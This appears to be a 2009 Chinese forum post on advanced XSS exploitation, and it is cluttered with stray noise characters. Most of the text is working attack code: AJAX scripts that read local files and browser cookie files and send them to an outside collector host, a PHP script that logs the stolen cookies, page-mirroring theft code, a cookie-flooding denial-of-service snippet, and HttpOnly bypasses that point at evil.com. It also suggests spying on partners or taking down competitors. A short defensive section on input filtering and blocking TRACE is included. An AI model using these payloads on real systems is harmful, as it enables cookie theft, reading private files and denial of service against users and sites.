XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

/ P% k3 ]- E/ [XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
+ M2 e/ P0 `6 F/ ^9 w( W! o. nhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
0 k# g2 p, ?! i; o* K/ H
8 T! O! L. A" Z$ B
7 K! b/ P! n2 R8 o+ \2 ]2 r6 z
-------------------------------------------前言---------------------------------------------------------
, \  Q8 p% L) G% L. x: V

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
4 m! U1 h- H% q! U9 a4 j

如果你还未具备基础XSS知识,以下几个文章建议拜读:
3 R2 b$ L# k5 f# x: yhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
4 G: X/ `5 k( ?0 S+ Ghttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

; C% _0 h9 X. R& v$ C6 c
8 ]  c! O3 J5 W8 e( c8 O) c

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

" m3 u7 B, q# x% _+ P0 U3 S' V希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

* L9 Z! r1 y7 w- l如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

1 A: R: u& L( v, g# ^" IQQ ZONE,校内网XSS     感染过万QQ ZONE.

, t& P3 D  D( l- J7 q$ ?- n: yOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

: X5 p* t( Z4 C0 I4 p..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
* P( q* s, |# P* _8 U


跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

5 v+ [( w/ R* g$ h) s! v' ^

9 G/ x. N8 Q  P# N如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
2 @* d1 t& P# ~2 g1 r复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
% X+ r: I$ N1 v9 P. p
$ D1 f) p: R2 h7 D$ `1        通过XSS,我们能实现什么?
- g7 B0 z+ q; d; X8 X
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
4 \, c7 ^# f$ e% i- h, t+ f
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
  c0 H; |7 g* e5 k# C# n
4        XSS漏洞在输出和输入两个方面怎么才能避免.
3 `, f/ u4 J6 j
& a2 b. u% [& z! A  _8 r% z$ F% g
0 A5 s3 J) b. I" ?, d* |- M
------------------------------------------研究正题----------------------------------------------------------
0 H3 {5 O5 k- f9 Y) N
8 c8 d" C8 G" t9 K$ f! R1 i- i) ^

9 I5 V5 b' N3 V* O, e通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
% e3 k# [* E9 P2 F复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1 ?/ w: ~" @6 x, n; [/ C0 I1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
8 ]7 A* H1 V* }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

( }- K6 r* W3 ~9 L* u0 x

+ Y0 c4 P$ s7 M; v" T: V! a
+ `; g! Z- ^8 I% J2 ]; d+ q5 G
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
4 P0 D( I. ]* ^0 U) J
. \+ v% E: V+ F/ X0 U1 J3 t我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


% _8 z$ k" \) U7 Z+ j
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



4 b* |: G  N" Z4 _5 ^4 Y& }% E! N    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
" B' @8 V! X$ f! z

4 h' M; {  H9 p, j
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
) r2 l# i5 v+ L1 W7 k2 A/ _
    function $(x){return document.getElementById(x)}
5 r$ p8 e3 r0 J2 A6 U


2 H+ O/ l2 @! R0 H  A    function ajax_obj(){
. ?9 ?6 x$ r" \
    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
5 r- t5 e- Y# d  U
    } else if(window.ActiveXObject) {

0 M0 J( M! g0 _' t    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 h; z+ m# G" h  R7 g
    for(var i=0; i<versions.length; i++) {

    try {
( N9 m6 F, A7 D, ]
    request = new ActiveXObject(versions);
- q. c' b6 C- a  K# b
    } catch(e) {}
* k' V  F( T. ?) U
    }
# O* [; L4 ^0 a( ~
    }
8 H* x7 x, k/ @$ O7 g( l6 }
, r4 ]% p- G6 j    return request;

* j* z5 y% d% q* _" X5 k    }

4 _4 Q8 w+ I% I1 g    var _x = ajax_obj();

" |* I& T; }# @6 W: w    function _7or3(_m,action,argv){

; Z3 h8 G; x8 S/ t    _x.open(_m,action,false);

) C+ q% l$ `. e, k    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

/ q/ O1 [' ?* J! [+ o- n    _x.send(argv);
0 c8 a0 i( Q- E8 x
/ v; l/ x9 J$ j% E    return _x.responseText;

    }
3 b! l7 H9 Y% z! m
- F; \( F9 D% T9 z

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
4 f. [/ z$ N! `
+ s/ @6 w# s" _. s4 i    alert(txt);



- }% R4 ?( p2 |# \+ f    </script>
  L$ `4 S; w, {/ y复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

4 u( Z% M( Z8 B; G" U6 n$ o$ }8 n$ U. k1 u

! E$ o4 M$ i7 X+ z    function ajax_obj(){

0 l9 ?8 ?6 L+ _    var request = false;
( ]% g# P9 \5 s, D& r& @. n
    if(window.XMLHttpRequest) {

% ]+ `6 g7 e6 n' s    request = new XMLHttpRequest();
9 b1 X* N3 E  n5 B6 c
  _2 P4 N5 j. E0 S$ w- W# T    } else if(window.ActiveXObject) {

0 I: D: x* h5 q! G2 ^    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
" c% @* X/ ?5 C5 l
8 c3 N  V& Z: B
# y* |) _; |7 p; B5 e1 v7 N
, J5 |# E. r7 m1 D; _6 R    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
2 E$ h9 b! X% K
    try {

    request = new ActiveXObject(versions);
% F" A6 m. Q7 f! h2 d6 L
7 c# V8 w! }, `. j  C2 I    } catch(e) {}
9 ^0 w9 p# W7 G' t
6 D% x1 K( e2 V    }

    }

* @+ g2 U, D( e1 y5 r    return request;

    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

* j; Y7 ~$ N2 U9 R+ E! _" e    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

, ]- }' c7 J+ [* r& p3 g8 s5 r- b    return _x.responseText;

    }



% k, _& C5 B. T9 y    var txt=_7or3("GET","1/11.txt",null);
/ V$ x: F& [3 H! s' ^
# z% A' K8 K# x2 \+ _& j* l    alert(txt);


6 U2 h9 p( q# I, K6 c- y
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



/ k0 X3 g2 s6 R0 I8 lChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
+ j# H) H& X# F4 E! q

6 G0 u5 \# o3 j" Q& O9 d
' t, k0 _# o9 R0 G5 g<?   

: T( B4 {( ^; S7 l+ A) S- `$ O' P* `4 p! z/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
) ?& R% t2 o6 n
     author voidloafer@gmail.com 2009-4-22   

/ d% a2 P9 K1 J& M2 q     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

: @  ^7 B6 I* V! r6 _2 _% p*/  
1 A& c/ L* X9 H4 |
3 V$ F* h, ?: F# J3 G) @* U; i+ p8 r+ ?header("Content-Disposition: attachment;filename=kxlzx.htm");   
* o; W  n3 m1 Y( K
  l; a. @# V; C% Qheader("Content-type: application/kxlzx");   

/*  
  E" F# I7 Y" S; z8 D
     set header, so just download html file,and open it at local.  
+ E: E" t: I! p% `+ z& A8 P
*/  

7 ]" z) [1 s% i7 z( E* u+ @?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
+ S, s$ a7 r! ?0 n+ v3 m$ ^( w
</form>   

; r' Z( D7 w$ e$ ^<script>   

  {% n' n) ?5 y; U/ `$ e9 tfunction doMyAjax(user)   
& _4 N% `5 _+ D* \8 k. V& ?$ ]
" H9 J- P) ?6 A6 {& j2 \3 {{   

: F8 S5 a: }0 X. p4 n; Wvar time = Math.random();   

7 q; ~* Q* `9 I8 C8 J9 Q/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

4 R# U+ {6 L6 t$ ?( O# I/ fand so on...  
0 f0 y( D) i, c( _8 R$ y  |+ Z
& J5 u* ]% ]' D9 M*/  
6 ]  r- n1 {; |6 A
4 M, M/ u; E2 p1 V5 h0 {( E1 i, Wvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

" V$ o& ]* K2 h$ k( }2 O. b/ r( ]   
8 g) u% i- q$ C7 X: U* }' ]
# ^  [4 [1 t# I9 i8 `- zstartRequest(strPer);   

7 T3 w/ o4 S1 Z4 j
; p2 N7 S' ~: v; t* Y6 K; b8 z, b
1 A+ ^2 o0 k) U, D0 k$ n" F}   

9 C1 \$ y8 ~( l4 T   
6 u, o% x9 i4 e  v+ e7 s: |
* U& a, }" [2 n6 d$ \' ]; nfunction Enshellcode(txt)   
2 P- @9 j5 V9 k+ R1 d- C
* d3 t  K$ b1 o8 d# n) ~9 q# c{   

4 s9 v' o' J9 ]. D2 n* y, H# Mvar url=new String(txt);   
6 n- C$ O( e) y5 ?5 u
var i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   

. r- R7 V; L- O1 r+ zk=url.charCodeAt(i);   
6 D- g1 M/ ]. \4 A9 T+ T
- A  }9 V+ C, `& x* }# H/ rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
4 B9 K4 y5 K8 q. ~+ P
" K+ @; Y+ F% {5 q% C. P. [if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
; d% Y; ]6 E/ r" u, [
return curl;   

4 D" {2 p6 z# w' Z. f% W}   

   
) E0 o; w! R( H7 Q/ n' K( i9 U& G
( l! |: V7 r2 |8 b4 i# ]8 m   
1 Q. O* D# q7 k
9 R2 \! _8 e/ T( k0 cvar xmlHttp;   

; z8 P' ?" i9 C" W  [1 Bfunction createXMLHttp(){   
, b( O% w6 N) b5 l- C) e
5 J; [+ ?, g5 K+ D" `% ?/ d6 Z! X) b     if(window.XMLHttpRequest){   

7 u' k: w5 H5 \xmlHttp = new XMLHttpRequest();           
1 s8 ~- A: E( r4 L9 D3 @& j
7 N) w, S+ h* t8 u1 S. p     }   
1 f4 Z8 w; j# Q! _  c
- n. I" B8 G9 J0 u( X2 \1 K     else if(window.ActiveXObject){   
- w  w  V! i9 G7 q
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
$ r2 R- h+ {2 w  v9 |1 l
     }   

# A+ B- ]" I' |+ V$ U}   
$ M2 ^7 a0 o  c+ ]
) H1 ]7 R" b; d' Z7 @. i   
# r1 Z& p' A) T. ]0 J) N4 k9 G3 \
function startRequest(doUrl){   

8 }$ c, J4 C5 E* n- }   
+ E5 f! }/ c$ J
9 [( s. Q$ K) i( |     createXMLHttp();   
8 f" C# E; [  \1 q

; A: P/ W5 h$ o( ]+ u" Y! u
+ S3 Q% V) o0 E9 J' P! F     xmlHttp.onreadystatechange = handleStateChange;   

0 n" D& O! Z1 L8 H. a/ F
" |" p' c6 K, [2 j  v) i
6 d$ M) y4 c5 |5 D, T! r0 F" f/ M5 H     xmlHttp.open("GET", doUrl, true);   

3 N5 k: }( ?; O0 F2 W# g

  J3 H7 b/ w' N- R# v7 i     xmlHttp.send(null);   
, o7 k9 k! \# V! C7 Y


) U+ q# p' i- E8 t9 \

1 t! j5 F( Z9 j6 V}   

   

function handleStateChange(){   

# H& z2 h. k6 q9 E7 M/ ?     if (xmlHttp.readyState == 4 ){   
1 l  A1 j- c3 M1 T! |
     var strResponse = "";   
4 v8 o+ m, w, K0 r# K
7 S' v& D4 _( x' z     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

, {$ S: J6 p6 z        

     }   
" m1 O( v0 e( T7 @# w. q  {
}   

4 ~' }* Y) _9 ~4 l  ^# c. |   
) M3 e8 i# w& y  Z! D4 k1 P
4 E0 _; n' I. b6 k0 z; i   

function framekxlzxPost(text)   

{   

3 e: A9 A+ Q; A2 B2 ^" s     document.getElementById("input").value = Enshellcode(text);   
5 n& `6 e4 j* k9 j, X
4 @# ~, @# b; `, Q8 Z* g/ f" }) S     document.getElementById("form").submit();   
+ U3 R$ _! e9 I; M7 {/ ?
8 z6 t0 i1 D* R: t6 h0 s4 a; E! k3 V}   

   

; |! ~+ ]1 `: VdoMyAjax("administrator");   

+ u2 w) I2 x: B9 ^" @! @   

0 E( D# l' A# d8 Y</script>
: a4 T$ T: p0 A; O复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

* e: Z# ?. _, B! |3 t+ }var xmlHttp;  
8 ?/ w1 C2 U0 l
+ W3 a/ t% J+ T: j# q3 Ofunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

5 o! B' s. U; e  t+ H         xmlHttp = new XMLHttpRequest();         

+ u- p8 z. w4 V6 O' K5 K     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
5 b2 h/ R4 ~2 P( _$ Q- K" Y+ S
     }  

}  

7 k2 k5 n4 r! B+ Y0 `, Z% g# y   
9 h7 a. I4 ?4 k
function startRequest(doUrl){  

/ ?! b+ p. }4 [$ T4 g& i! }           

     createXMLHttp();  
: ]8 p# n* q, {0 t3 a8 R
      

( R( u2 N2 `) G1 }3 @     xmlHttp.onreadystatechange = handleStateChange;  
) s) W. |9 e. M( C% p
      

     xmlHttp.open("GET", doUrl, true);  
1 E, m  W& M: d7 B. I9 h' }
      

0 P: {, k8 ~0 _# d# x     xmlHttp.send(null);  
$ y+ t7 }9 r! b$ U; I2 p# |1 P6 m
5 A, E5 Y+ p1 F$ G* F! j( n      
0 u# w+ @% d) _  n
- Z% L: Z3 ~5 Y: S0 `8 I2 b3 v      
5 u' M; S1 ?& S. P
}   

   
; \0 p# U; W' U
8 d# ?; z$ E" F8 t/ M+ }function handleStateChange(){  

3 N" x% n% n+ C! s# z     if (xmlHttp.readyState == 4 ){  
2 u, U4 V' t6 J4 }
             var strResponse = "";  

, ^: l1 w1 F% K0 q8 W) A3 B; J             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

7 [1 C8 \' q* d) d2 q               

     }  

" Z5 u! q/ ~! W& q5 b" c}  
% @: M0 C# V  ^) u
   

  G/ D# S9 S; ~function doMyAjax(user,file)  
; g* R$ u4 j! n# V9 ^8 \
0 J" k. W. e9 T- U8 v{  
4 |7 ~7 e" I* `$ ?
         var time = Math.random();  
% l; ?3 E4 C9 @0 x
- o9 G5 h' z* k1 E) M           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

         startRequest(strPer);  
" t) h2 m& T3 j$ j% y
      
- [% e: G4 E, V: b" x( r/ A
( Y8 x1 V1 z6 ]; e+ z) L# Y- {}  

( l! z  R( a! X9 i& B# w( K   

function framekxlzxPost(text)  
9 l$ f5 m; l6 B8 R1 e5 }3 t
{  
8 o( H; {/ O. ]: k3 H1 M
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
  [& y) H7 {* O; @7 }
" D3 L5 x* ~' X7 G2 l1 |& b     alert(/ok/);  
( U, M' \2 r2 V
}  
/ s  R: {0 B3 \3 C3 T- W9 i
# d3 S3 Y$ ~; _+ \: H! l# Y( v   

doMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>


7 p, h% I, y! z( }" W$ h( H' V
4 ?% Z% k/ Z: s
3 q: n6 X. f: N- ]7 s
. [& \7 Y# u1 h# }6 la.php

. i9 x4 R# q8 |& {6 A
8 {2 @& Y6 O; P# x+ D; K3 E8 k
<?php      
0 b1 @; V; @4 U: v
   

- }& Y2 Y/ K( v) p3 U6 @$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
; S* i2 F( A  X% y( _1 f( U
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

+ \7 t3 l# N+ M7 l0 Y" r& }$ d$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

" Z7 r8 A* r( I/ s; Jfwrite($fp,$_GET["cookie"]);      
% q' {+ d0 T$ \. T8 Y
fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
8 ~, E8 o" a+ i8 z; j0 q9 {
( W- G& I* z& @( E2 C4 d2 H2 e2 I代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
" s+ l1 F) M6 c+ W( E9 T
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
  V) f. r4 E" Z# _3 N, C  x
% O* ]( _0 f7 F: h+ W+ z% afunction getURL(s) {
& u8 c& B. u- R' o# `8 \
var image = new Image();

image.style.width = 0;
  z! i; z- m" |; G; J9 h$ Z
& o, f; i' W* w2 Limage.style.height = 0;
/ g: e; X1 ]# |9 ]( S
image.src = s;
9 D5 ~7 P5 y1 D+ Y& H7 [' Q
}
6 B" W! a3 W& C/ [/ E$ `: j
3 ]9 G/ H+ b8 Q( WgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
/ q: L; K" |" Z* d7 b6 Z6 @* ^
var metastr = "AAAAAAAAAA"; // 10 A

; M" G9 f6 c* I( @! G8 Rvar str = "";

3 B) H' b: ?) F0 u( ?2 Qwhile (str.length < 4000){
$ r& h" P8 [1 s* ?! P$ U4 R3 x
    str += metastr;

}
9 ^5 x. U- C" u* P" z
2 r! A+ w) Z- \* `0 T+ n$ C! N7 N
& x# \& Q4 E& R7 T) W, G
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
, c, h& L; o$ M' f- a
</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
; M1 ~3 Q, j; C" F& h5 A6 Y复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

9 d6 ~. I1 T# R' {, h假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


5 i$ |8 \' t4 _  C  A; n( @4 C
6 I" f8 w( E7 w  a- Z

/ S$ k. u. {! c/ U
(III) Http only bypass 与 补救对策:
! c: b5 a$ o3 P9 E4 L
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

3 @& T; ]3 k0 P; w- f4 O3 @<!--
$ e9 f5 ^2 @8 L# O, u5 _
2 _: ?4 {# a: Z; X) }function normalCookie() {
# [5 q8 L$ D& k' Q4 H. m' C( P/ f
5 k: Q9 u# Q8 r/ x. \( C. ?document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
0 @) c, j+ U. J8 i
6 |5 {# w  o( G3 B- o}


/ Y1 |% y7 `( W- ~' h& ^1 ~, R' M
3 S+ I/ p) C  P5 H0 ?
7 _: X8 ^+ G2 n6 n& Z' g2 k, K% g
function httpOnlyCookie() {

5 y" k1 ~. ]( {document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

- J4 {$ f& d6 B" palert(document.cookie);}
( c7 @) g3 q$ e- t( A8 m


//-->

9 |- M2 C& y; }</script>
5 Y0 R$ r, u* l& M! B3 |
- I# s1 d# B, T0 j+ G& q: X5 t
* v# R. j. E  M  |2 L
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
" V! z- u' F4 w- l1 q2 `5 U, v5 M9 D
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



0 I3 I/ G5 H% q# Zvar request = false;

! {: W, }4 A& |. u        if(window.XMLHttpRequest) {

( O0 e, m# Z- H3 f9 c            request = new XMLHttpRequest();

& Y+ Q2 ~% m3 G! `7 l5 R! O            if(request.overrideMimeType) {
! G9 c, y5 m4 v4 M+ j/ N9 v/ Q/ |$ P
" a6 D# q+ P5 w$ Q- @( C( Y                request.overrideMimeType('text/xml');

- E+ z8 o0 g' e& C: z* C6 `            }
4 \; I4 q  ^; w' x5 f
        } else if(window.ActiveXObject) {
; Y3 J9 j5 G, d
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- O+ `8 c2 u+ B. x* q* e7 A2 i, i$ `            for(var i=0; i<versions.length; i++) {

  k  C2 G) E; f                try {
: N( f( K1 u: `+ Q
* a" c& F0 Z1 N5 K, S3 @: i8 D8 r                    request = new ActiveXObject(versions);

                } catch(e) {}

            }

        }
" _4 `! h5 v0 c% B+ @
$ H5 @( x% p5 K4 k  IxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

# }% |4 a% Q. ?% I( w3 uxmlHttp.send(null);
' A. f$ {7 f8 q- I7 y- F; I
xmlDoc=xmlHttp.responseText;
, z: e* b! Z1 s  a7 e
. x% ]! K3 a- v" E( ~/ qalert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

( k- y  B; _+ y9 h, p0 x% jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- q: Q- _% B9 s* k5 T8 @. R
; _' Q+ r* K6 M  n/ w7 D  m; YXmlHttp.open("GET","http://www.google.com",false);

  U: C' q7 B- Q# |+ VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

1 l' |8 k. z7 B. [5 bXmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);

......................
3 t  @* b7 s9 e1 ]2 K0 z3 _
</script>
% ?1 l+ [- [7 u  u
6 ^) q7 J/ V, Y0 T; h

- V' c. c3 r+ p% c5 z

3 x- J, t( e( {' q( r6 r( c如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
+ p# v- ?2 d& ~7 l* P+ f0 G3 \& w
[code]
; Y: }7 z2 l8 `- c9 R8 L$ P0 z, z
+ `/ u7 Q  h% H  @0 ~+ D+ ~RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
+ H: T1 |) F5 ]
RewriteRule .* - [F]
. i0 [* _( G$ L" Z# H2 T3 f9 V
! ~  i6 |" \' R4 @0 ]  j' |$ O" g
( B3 C* O8 F% C& v) u9 q
) s$ d- X' m- S, I# GSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
/ P, K3 v; g3 [+ j- T2 S
! _0 T- Q" t- U, S9 p3 I' Cacl TRACE method TRACE
5 C# g4 k5 n5 L7 s
...
: z  R( |! t$ _" r7 K' @
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
* h5 _) F  q* ?, p' C2 A% i1 P$ f
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 I- U1 T* t! w' ?2 Y1 [
: l/ B$ g" v  z9 _XmlHttp.open("GET","http://www.google.com",false);
; [3 d  P3 ]0 j( |4 G3 C' H& w- F
  F% D3 ?! P9 P5 @+ u  qXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
: W; i1 q0 h0 ?" ~3 y
XmlHttp.send(null);
/ H) o' E) ^7 H! m8 x
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
# D+ q7 c7 y% ]6 n2 j3 b1 _
. |: R8 F. J4 P6 a0 N* cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
